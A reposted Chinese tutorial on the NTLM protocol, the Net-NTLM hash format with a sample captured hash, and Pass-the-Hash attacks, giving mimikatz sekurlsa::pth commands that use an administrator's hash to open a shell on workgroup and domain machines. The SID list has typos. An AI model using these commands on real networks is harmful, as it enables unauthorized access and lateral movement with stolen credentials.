NTLM协议与Pass the Hash的爱情 (2)

NTLM协议与Pass the Hash的爱情

流程大致这样,那response是怎么回事呢?其实就是net-ntlm hash。总的来说,就是response的内容,就是net-ntlm hash

NTLM协议与Pass the Hash的爱情

3、NET-NTLM hash格式

认证成功:

NTLM协议与Pass the Hash的爱情

认证失败:

NTLM协议与Pass the Hash的爱情

查看第二个数据包,获得Challenge,为:77effc5381037df8

NTLM协议与Pass the Hash的爱情

Net-NTLM Hash格式为:username::domain:challenge:HMAC-MD5:blob

username(要访问服务器的用户名):xie domain(访问者主机名或者ip):WIN7 challenge(数据包2中服务器返回的challenge值):77effc5381037df8 HMAC-MD5(数据包3中的NTProofStr): b6b777ced0128e3f587fe08b98853e13 blob(blob对应数据为NTLMv2 Response去掉NTProofStr的后半部分):0101000000000000f27fa3a7aa61d501ba3237c701d9f3970000000002000e00570049004e00320030003000380001000e00570049004e00320030003000380004000e00570049004e00320030003000380003000e00570049004e00320030003000380007000800f27fa3a7aa61d50106000400020000000800300030000000000000000100000000200000ca0ee75c65eaa5367775b826f949798912fa871a19e5d17f9b49587485a8e6620a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e00310030002e0031003500000000000000000000000000 4、NTLM V2协议

NTLM v1与NTLM v2最显著的区别就是Challenge与加密算法不同,共同点就是加密的原料都是NTLM Hash。

下面细说一下有什么不同:

Challage:NTLM v1的Challenge有8位,NTLM v2的Challenge为16位。

Net-NTLM Hash:NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5。

现在应该能够理解什么是NTLM、NTLM Hash、LM、LM Hash、Net NTLM Hash了吧?

0x05、Pass The Hash

要完成一个NTLM认证,第一步需要客户端将自己要认证的 用户名发送至服务器端,等待服务器端给出的Challenge

其实哈希传递就是使用用户名对应的NTLM Hash将服务器给出的 Chanllenge加密,生成一个Response,来完成认证。

windows 常见SID

administrator - 500 Guest - 501 kbrtgt - 502 doamin admins - 512 Domain users - 513 Domain Controllers - 515 Domain Controllers - 516 Enterprise Admins - 519 1、工作组 - Pass the Hash

Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。

Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。(主要以为SID不为500原因)

privilege::debug #先提权 #使用administrator用户的NTLM哈希值进行攻击 sekurlsa::pth /user:用户名 /domain:目标机器IP /ntlm:密码哈希

执行完mimikatz即可弹出该机器cmd

2、域环境 - Pass the Hash

在域环境中,当我们获得了域管理员组内用户的NTLM哈希值,我们可以使用域内的一台主机用mimikatz对域内任何一台机器(包括域控)进行哈希传递攻击。执行完命令后,会弹出CMD窗口,在弹出的CMD窗口我们可以访问域内任何一台机器。前提是我们必须拥有域内任意一台主机的本地管理员权限和域管理员的密码NTLM哈希值。

域:hack.com

服务器地址:WIN2008.hack.com

域管理员: test

privilege::debug #先提权 #使用域管理员test的NTLM哈希值对域控进行哈希传递攻击,域用户test在域管理员组中 sekurlsa::pth /user:test /domain:hack.com /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc

执行完mimikatz即可弹出该机器cmd

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzzwxp.html